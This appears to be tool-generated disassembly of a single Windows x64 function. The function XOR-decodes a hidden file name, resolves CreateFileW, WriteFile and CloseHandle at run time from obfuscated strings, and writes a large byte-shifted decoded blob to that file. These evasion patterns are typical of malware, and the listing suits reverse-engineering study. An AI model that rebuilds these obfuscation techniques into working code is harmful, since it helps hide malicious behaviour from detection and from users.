Function at 0x140010e10
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x878
movaps xmmword [rsp + 0x850], xmm6
movaps xmmword [rsp + 0x860], xmm7
movzx eax, word [str.NBA_LOG.txt]
mov ebx, 0x3f
xor r11d, r11d
movzx edx, word [0x1400c6ba8]
movd xmm0, eax
movzx eax, word [0x1400c6b9c]
pinsrw xmm0, word [0x1400c6b9a], 1
xor edx, 0x3f
mov dword [rsp + 0xd0], 0x3f
mov rsi, rcx
mov dword [rsp + 0xb0], 0x4b0047
movd xmm3, eax
movzx eax, word [0x1400c6ba0]
mov word [rsp + 0xb4], bx
pinsrw xmm3, word [0x1400c6b9e], 1
punpckldq xmm0, xmm3
mov word [rsp + 0xc6], dx
mov word [rsp + 0xca], r11w
movd xmm1, eax
movzx eax, word [0x1400c6ba4]
pinsrw xmm1, word [0x1400c6ba2], 1
movd xmm2, eax
movzx eax, word [0x1400c6baa]
pinsrw xmm2, word [0x1400c6ba6], 1
punpckldq xmm1, xmm2
punpcklqdq xmm0, xmm1
pxor xmm0, xmmword [0x1400c6ca0]
movups xmmword [rsp + 0xb6], xmm0
movdqa xmm1, xmmword [str.MZ_RZ]
movaps xmmword [rsp + 0xa0], xmm1
xor eax, 0x3f
mov word [rsp + 0xc8], ax
movabs rax, 0x5b005e005a004d
mov qword [rsp + 0xd4], rax
movabs rax, 0x4b0011005a0052
mov qword [rsp + 0xdc], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xe4], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xec], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xf4], rax
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0xfc], eax
xor eax, eax
nop dword [rax]
movzx edx, word [rsp + rax*2 + 0xd4]
mov ecx, dword [rsp + 0xd0]
xor edx, ecx
mov word [rsp + rax*2 + 0xd4], dx
add rax, 1
cmp rax, 0x15
jne 0x140010f70
lea rbp, [rsp + 0xd4]
xor r10d, r10d
lea r14, [rsp + 0x110]
mov rcx, rbp
mov word [rsp + 0xfe], r10w
mov qword [rsp + 0x100], r14
lea rbx, [rsp + 0x100]
call sub.msvcrt.dll_wcslen
lea rdi, [rax + rax]
mov r13, rdi
sar r13, 1
cmp rdi, 0xe
mov rdx, r13
mov qword [rsp + 0x80], r13
ja 0x140011a88
cmp r13, 1
mov rcx, qword [rsp + 0x100]
jne 0x140011a57
movzx eax, word [rsp + 0xd4]
lea r12, [rsp + 0x80]
mov word [rcx], ax
mov eax, 2
mov rdi, qword [rsi]
xor r9d, r9d
mov qword [rsp + 0x108], rdx
mov rsi, qword [rsi + 8]
lea rbp, [rsp + 0x90]
mov word [rcx + rax], r9w
mov qword [rsp + 0x80], rbp
add rsi, rsi
mov r15, rsi
sar r15, 1
cmp rsi, 0xe
mov rdx, r15
mov qword [rsp + 0x60], r15
ja 0x140011abb
cmp r15, 1
jne 0x140011b68
movzx eax, word [rdi]
lea r13, [rsp + 0x60]
mov rcx, rbp
mov word [rsp + 0x90], ax
mov eax, 2
xor r8d, r8d
mov qword [rsp + 0x88], rdx
mov rdx, r12
mov word [rcx + rax], r8w
mov r8, rbx
mov rcx, r13
call fcn.14000c910
mov rcx, qword [rsp + 0x80]
cmp rcx, rbp
je 0x1400110b1
mov rax, qword [rsp + 0x90]
lea rdx, [rax + rax + 2]
call fcn.1400c0720
mov rcx, qword [rsp + 0x100]
cmp rcx, r14
je 0x1400110d0
mov rax, qword [rsp + 0x110]
lea rdx, [rax + rax + 2]
call fcn.1400c0720
mov rax, qword [str.CreateFikernel32.dll]
mov rdx, r12
mov rcx, rbx
mov dword [rsp + 0x88], 0x57656c
movd xmm6, dword [0x1400c6d80]
mov byte [rsp + 0x10c], 0
movq xmm7, qword [0x1400c6d78]
movd dword [rsp + 0x108], xmm6
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x80], rax
movq qword [rsp + 0x100], xmm7
call fcn.140002450
mov qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0
mov rcx, rsi
mov dword [rsp + 0x20], 2
call rax
cmp rax, 0xffffffffffffffff
mov rdi, rax
je 0x140011a14
call fcn.14000bda0
movdqa xmm0, xmmword [0x1400c6d90]
mov edx, 0x2a
mov rax, rbx
movaps xmmword [rsp + 0x100], xmm0
movdqa xmm0, xmmword [0x1400c6da0]
movaps xmmword [rsp + 0x110], xmm0
movdqa xmm0, xmmword [0x1400c6db0]
movaps xmmword [rsp + 0x120], xmm0
movdqa xmm0, xmmword [0x1400c6dc0]
movaps xmmword [rsp + 0x130], xmm0
movdqa xmm0, xmmword [0x1400c6dd0]
movaps xmmword [rsp + 0x140], xmm0
movdqa xmm0, xmmword [0x1400c6de0]
movaps xmmword [rsp + 0x150], xmm0
movdqa xmm0, xmmword [0x1400c6df0]
movaps xmmword [rsp + 0x160], xmm0
movdqa xmm0, xmmword [0x1400c6e00]
movaps xmmword [rsp + 0x170], xmm0
movdqa xmm0, xmmword [0x1400c6e10]
movaps xmmword [rsp + 0x180], xmm0
movdqa xmm0, xmmword [0x1400c6e20]
movaps xmmword [rsp + 0x190], xmm0
movdqa xmm0, xmmword [0x1400c6e30]
movaps xmmword [rsp + 0x1a0], xmm0
movdqa xmm0, xmmword [str.ecjkna]
movaps xmmword [rsp + 0x1b0], xmm0
movdqa xmm0, xmmword [0x1400c6e50]
movaps xmmword [rsp + 0x1c0], xmm0
movdqa xmm0, xmmword [0x1400c6e60]
movaps xmmword [rsp + 0x1d0], xmm0
movdqa xmm0, xmmword [0x1400c6e70]
movaps xmmword [rsp + 0x1e0], xmm0
movdqa xmm0, xmmword [0x1400c6e80]
movaps xmmword [rsp + 0x1f0], xmm0
movdqa xmm0, xmmword [0x1400c6e90]
movaps xmmword [rsp + 0x200], xmm0
movdqa xmm0, xmmword [0x1400c6ea0]
movaps xmmword [rsp + 0x210], xmm0
movdqa xmm0, xmmword [0x1400c6eb0]
movaps xmmword [rsp + 0x220], xmm0
movdqa xmm0, xmmword [0x1400c6ec0]
movaps xmmword [rsp + 0x230], xmm0
movdqa xmm0, xmmword [0x1400c6ed0]
movaps xmmword [rsp + 0x240], xmm0
movdqa xmm0, xmmword [str.aranupdejc_]
movaps xmmword [rsp + 0x250], xmm0
movdqa xmm0, xmmword [0x1400c6ef0]
movaps xmmword [rsp + 0x260], xmm0
movdqa xmm0, xmmword [0x1400c6f00]
movaps xmmword [rsp + 0x270], xmm0
movdqa xmm0, xmmword [0x1400c6f10]
movaps xmmword [rsp + 0x280], xmm0
movdqa xmm0, xmmword [str.okh_]
movaps xmmword [rsp + 0x290], xmm0
movdqa xmm0, xmmword [0x1400c6f30]
movaps xmmword [rsp + 0x2a0], xmm0
movdqa xmm0, xmmword [0x1400c6f40]
movaps xmmword [rsp + 0x2b0], xmm0
movdqa xmm0, xmmword [0x1400c6f50]
movaps xmmword [rsp + 0x2c0], xmm0
movdqa xmm0, xmmword [0x1400c6f60]
movaps xmmword [rsp + 0x2d0], xmm0
movdqa xmm0, xmmword [str.iqop]
movaps xmmword [rsp + 0x2e0], xmm0
movdqa xmm0, xmmword [0x1400c6f80]
movaps xmmword [rsp + 0x2f0], xmm0
movdqa xmm0, xmmword [0x1400c6f90]
movaps xmmword [rsp + 0x300], xmm0
movdqa xmm0, xmmword [0x1400c6fa0]
movaps xmmword [rsp + 0x310], xmm0
movdqa xmm0, xmmword [0x1400c6fb0]
movaps xmmword [rsp + 0x320], xmm0
movdqa xmm0, xmmword [0x1400c6fc0]
movaps xmmword [rsp + 0x330], xmm0
movdqa xmm0, xmmword [0x1400c6fd0]
movaps xmmword [rsp + 0x340], xmm0
movdqa xmm0, xmmword [0x1400c6fe0]
movaps xmmword [rsp + 0x350], xmm0
movdqa xmm0, xmmword [0x1400c6ff0]
movaps xmmword [rsp + 0x360], xmm0
movdqa xmm0, xmmword [0x1400c7000]
movaps xmmword [rsp + 0x370], xmm0
movdqa xmm0, xmmword [0x1400c7010]
movaps xmmword [rsp + 0x380], xmm0
movdqa xmm0, xmmword [0x1400c7020]
movaps xmmword [rsp + 0x390], xmm0
movdqa xmm0, xmmword [0x1400c7030]
movaps xmmword [rsp + 0x3a0], xmm0
movdqa xmm0, xmmword [0x1400c7040]
movaps xmmword [rsp + 0x3b0], xmm0
movdqa xmm0, xmmword [0x1400c7050]
movaps xmmword [rsp + 0x3c0], xmm0
movdqa xmm0, xmmword [0x1400c7060]
movaps xmmword [rsp + 0x3d0], xmm0
movdqa xmm0, xmmword [0x1400c7070]
movaps xmmword [rsp + 0x3e0], xmm0
movdqa xmm0, xmmword [0x1400c7080]
movaps xmmword [rsp + 0x3f0], xmm0
movdqa xmm0, xmmword [0x1400c7090]
movaps xmmword [rsp + 0x400], xmm0
movdqa xmm0, xmmword [0x1400c70a0]
movaps xmmword [rsp + 0x410], xmm0
movdqa xmm0, xmmword [0x1400c70b0]
movaps xmmword [rsp + 0x420], xmm0
movdqa xmm0, xmmword [0x1400c70c0]
movaps xmmword [rsp + 0x430], xmm0
movdqa xmm0, xmmword [0x1400c70d0]
movaps xmmword [rsp + 0x440], xmm0
movdqa xmm0, xmmword [0x1400c70e0]
movaps xmmword [rsp + 0x450], xmm0
movdqa xmm0, xmmword [0x1400c70f0]
movaps xmmword [rsp + 0x460], xmm0
movdqa xmm0, xmmword [0x1400c7100]
movaps xmmword [rsp + 0x470], xmm0
movdqa xmm0, xmmword [0x1400c7110]
movaps xmmword [rsp + 0x480], xmm0
movdqa xmm0, xmmword [0x1400c7120]
movaps xmmword [rsp + 0x490], xmm0
movdqa xmm0, xmmword [0x1400c7130]
movaps xmmword [rsp + 0x4a0], xmm0
movdqa xmm0, xmmword [0x1400c7140]
movaps xmmword [rsp + 0x4b0], xmm0
movdqa xmm0, xmmword [str.Ajpan]
movaps xmmword [rsp + 0x4c0], xmm0
movdqa xmm0, xmmword [0x1400c7160]
movaps xmmword [rsp + 0x4d0], xmm0
movdqa xmm0, xmmword [0x1400c7170]
movaps xmmword [rsp + 0x4e0], xmm0
movdqa xmm0, xmmword [0x1400c7180]
movaps xmmword [rsp + 0x4f0], xmm0
movdqa xmm0, xmmword [0x1400c7190]
movaps xmmword [rsp + 0x500], xmm0
movdqa xmm0, xmmword [0x1400c71a0]
movaps xmmword [rsp + 0x510], xmm0
movdqa xmm0, xmmword [0x1400c71b0]
movaps xmmword [rsp + 0x520], xmm0
movdqa xmm0, xmmword [0x1400c71c0]
movaps xmmword [rsp + 0x530], xmm0
movdqa xmm0, xmmword [str.beah__]
movaps xmmword [rsp + 0x540], xmm0
movdqa xmm0, xmmword [0x1400c71e0]
movaps xmmword [rsp + 0x550], xmm0
movdqa xmm0, xmmword [0x1400c71f0]
movaps xmmword [rsp + 0x560], xmm0
movdqa xmm0, xmmword [0x1400c7200]
movaps xmmword [rsp + 0x570], xmm0
movdqa xmm0, xmmword [0x1400c7210]
movaps xmmword [rsp + 0x580], xmm0
movdqa xmm0, xmmword [0x1400c7220]
movaps xmmword [rsp + 0x590], xmm0
movdqa xmm0, xmmword [0x1400c7230]
movaps xmmword [rsp + 0x5a0], xmm0
movdqa xmm0, xmmword [0x1400c7240]
movaps xmmword [rsp + 0x5b0], xmm0
movdqa xmm0, xmmword [0x1400c7250]
movaps xmmword [rsp + 0x5c0], xmm0
movdqa xmm0, xmmword [0x1400c7260]
movaps xmmword [rsp + 0x5d0], xmm0
movdqa xmm0, xmmword [0x1400c7270]
movaps xmmword [rsp + 0x5e0], xmm0
movdqa xmm0, xmmword [0x1400c7280]
movaps xmmword [rsp + 0x5f0], xmm0
movdqa xmm0, xmmword [0x1400c7290]
movaps xmmword [rsp + 0x600], xmm0
movdqa xmm0, xmmword [0x1400c72a0]
movaps xmmword [rsp + 0x610], xmm0
movdqa xmm0, xmmword [0x1400c72b0]
movaps xmmword [rsp + 0x620], xmm0
movdqa xmm0, xmmword [0x1400c72c0]
movaps xmmword [rsp + 0x630], xmm0
movdqa xmm0, xmmword [0x1400c72d0]
movaps xmmword [rsp + 0x640], xmm0
movdqa xmm0, xmmword [0x1400c72e0]
movaps xmmword [rsp + 0x650], xmm0
movdqa xmm0, xmmword [0x1400c72f0]
movaps xmmword [rsp + 0x660], xmm0
movdqa xmm0, xmmword [0x1400c7300]
movaps xmmword [rsp + 0x670], xmm0
movdqa xmm0, xmmword [0x1400c7310]
movaps xmmword [rsp + 0x680], xmm0
movdqa xmm0, xmmword [0x1400c7320]
movaps xmmword [rsp + 0x690], xmm0
movdqa xmm0, xmmword [0x1400c7330]
movaps xmmword [rsp + 0x6a0], xmm0
movdqa xmm0, xmmword [0x1400c7340]
movaps xmmword [rsp + 0x6b0], xmm0
movdqa xmm0, xmmword [0x1400c7350]
movaps xmmword [rsp + 0x6c0], xmm0
movdqa xmm0, xmmword [0x1400c7360]
movaps xmmword [rsp + 0x6d0], xmm0
movdqa xmm0, xmmword [0x1400c7370]
movaps xmmword [rsp + 0x6e0], xmm0
movdqa xmm0, xmmword [str.oanrano]
movaps xmmword [rsp + 0x6f0], xmm0
movdqa xmm0, xmmword [0x1400c7390]
movaps xmmword [rsp + 0x700], xmm0
movdqa xmm0, xmmword [0x1400c73a0]
movaps xmmword [rsp + 0x710], xmm0
movdqa xmm0, xmmword [0x1400c73b0]
movaps xmmword [rsp + 0x720], xmm0
movdqa xmm0, xmmword [0x1400c73c0]
movaps xmmword [rsp + 0x730], xmm0
movdqa xmm0, xmmword [str.oeieh_n]
movaps xmmword [rsp + 0x740], xmm0
movdqa xmm0, xmmword [0x1400c73e0]
movaps xmmword [rsp + 0x750], xmm0
movdqa xmm0, xmmword [0x1400c73f0]
movaps xmmword [rsp + 0x760], xmm0
movdqa xmm0, xmmword [str._pp__g]
movaps xmmword [rsp + 0x770], xmm0
movdqa xmm0, xmmword [0x1400c7410]
movaps xmmword [rsp + 0x780], xmm0
movdqa xmm0, xmmword [0x1400c7420]
movaps xmmword [rsp + 0x790], xmm0
movdqa xmm0, xmmword [0x1400c7430]
movaps xmmword [rsp + 0x7a0], xmm0
movdqa xmm0, xmmword [str.naj_ia]
movaps xmmword [rsp + 0x7b0], xmm0
movdqa xmm0, xmmword [0x1400c7450]
movaps xmmword [rsp + 0x7c0], xmm0
movdqa xmm0, xmmword [0x1400c7460]
movaps xmmword [rsp + 0x7d0], xmm0
movdqa xmm0, xmmword [0x1400c7470]
movaps xmmword [rsp + 0x7e0], xmm0
movdqa xmm0, xmmword [0x1400c7480]
movaps xmmword [rsp + 0x7f0], xmm0
movdqa xmm0, xmmword [str.qjpeh]
movdqa xmm1, xmmword [0x1400c74d0]
mov word [rsp + 0x844], dx
lea rdx, [rsp + 0x840]
movaps xmmword [rsp + 0x800], xmm0
movdqa xmm0, xmmword [0x1400c74a0]
mov dword [rsp + 0x840], 0x61635d69
movaps xmmword [rsp + 0x810], xmm0
movdqa xmm0, xmmword [0x1400c74b0]
movaps xmmword [rsp + 0x820], xmm0
movdqa xmm0, xmmword [0x1400c74c0]
movaps xmmword [rsp + 0x830], xmm0
nop word [rax + rax]
movdqa xmm0, xmmword [rax]
add rax, 0x10
paddb xmm0, xmm1
movaps xmmword [rax - 0x10], xmm0
cmp rdx, rax
jne 0x1400118d0
movd xmm0, dword [rsp + 0x840]
mov rcx, rbx
mov qword [rsp + 0x80], rbp
movd xmm1, dword [0x1400c74d0]
add byte [rsp + 0x844], 4
paddb xmm0, xmm1
movd dword [rsp + 0x840], xmm0
call sub.msvcrt.dll_strlen
cmp rax, 0xf
mov rsi, rax
mov qword [rsp + 0x50], rax
ja 0x140011b20
cmp rax, 1
je 0x140011b0c
test rax, rax
jne 0x140011b75
lea r14, [rsp + 0x50]
mov rdx, rbp
mov qword [rsp + 0x88], rax
mov rcx, rbx
mov byte [rdx + rax], 0
mov rax, qword [str.WriteFilCloseHanFindFirslstrcmpWFindNextFile]
mov rdx, r14
mov r15, qword [rsp + 0x88]
mov byte [rsp + 0x10c], 0
mov rsi, qword [rsp + 0x80]
movq qword [rsp + 0x100], xmm7
movd dword [rsp + 0x108], xmm6
mov qword [rsp + 0x50], rax
mov eax, 0x65
mov word [rsp + 0x58], ax
call fcn.140002450
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov r8d, r15d
mov rdx, rsi
mov rcx, rdi
call rax
mov rax, qword [0x1400c74e8]
mov rdx, r14
mov rcx, rbx
mov dword [rsp + 0x58], 0x656c64
mov byte [rsp + 0x10c], 0
movq qword [rsp + 0x100], xmm7
movd dword [rsp + 0x108], xmm6
mov qword [rsp + 0x50], rax
call fcn.140002450
mov rcx, rdi
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rbp
je 0x140011a14
mov rax, qword [rsp + 0x90]
lea rdx, [rax + 1]
call fcn.1400c0720
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x70]
cmp rcx, rax
je 0x140011a33
mov rax, qword [rsp + 0x70]
lea rdx, [rax + rax + 2]
call fcn.1400c0720
nop
movaps xmm6, xmmword [rsp + 0x850]
movaps xmm7, xmmword [rsp + 0x860]
add rsp, 0x878
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea r12, [rsp + 0x80]
test r13, r13
je 0x140011a7f
mov rdx, rbp
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x100]
lea rax, [rdx + rdx]
jmp 0x140011010
lea r12, [rsp + 0x80]
mov rcx, rbx
xor r8d, r8d
mov rdx, r12
call fcn.1400b6f20
mov rdx, qword [rsp + 0x80]
mov rcx, rax
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x110], rdx
jmp 0x140011a5f
lea r13, [rsp + 0x60]
xor r8d, r8d
mov rcx, r12
mov rdx, r13
call fcn.1400b6f20
mov rdx, qword [rsp + 0x60]
mov rcx, rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x90], rdx
test r15, r15
je 0x140011b03
mov rdx, rdi
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x80]
lea rax, [rdx + rdx]
jmp 0x140011074
movzx edx, byte [rsp + 0x100]
mov byte [rsp + 0x90], dl
jmp 0x140011940
lea r14, [rsp + 0x50]
xor r8d, r8d
mov rcx, r12
mov rdx, r14
call fcn.1400b32e0
mov rcx, rax
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x90], rax
mov rdx, rbx
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x80]
jmp 0x140011948
lea r13, [rsp + 0x60]
mov rcx, rbp
jmp 0x140011ae6
lea r14, [rsp + 0x50]
mov rcx, rbp
jmp 0x140011b4b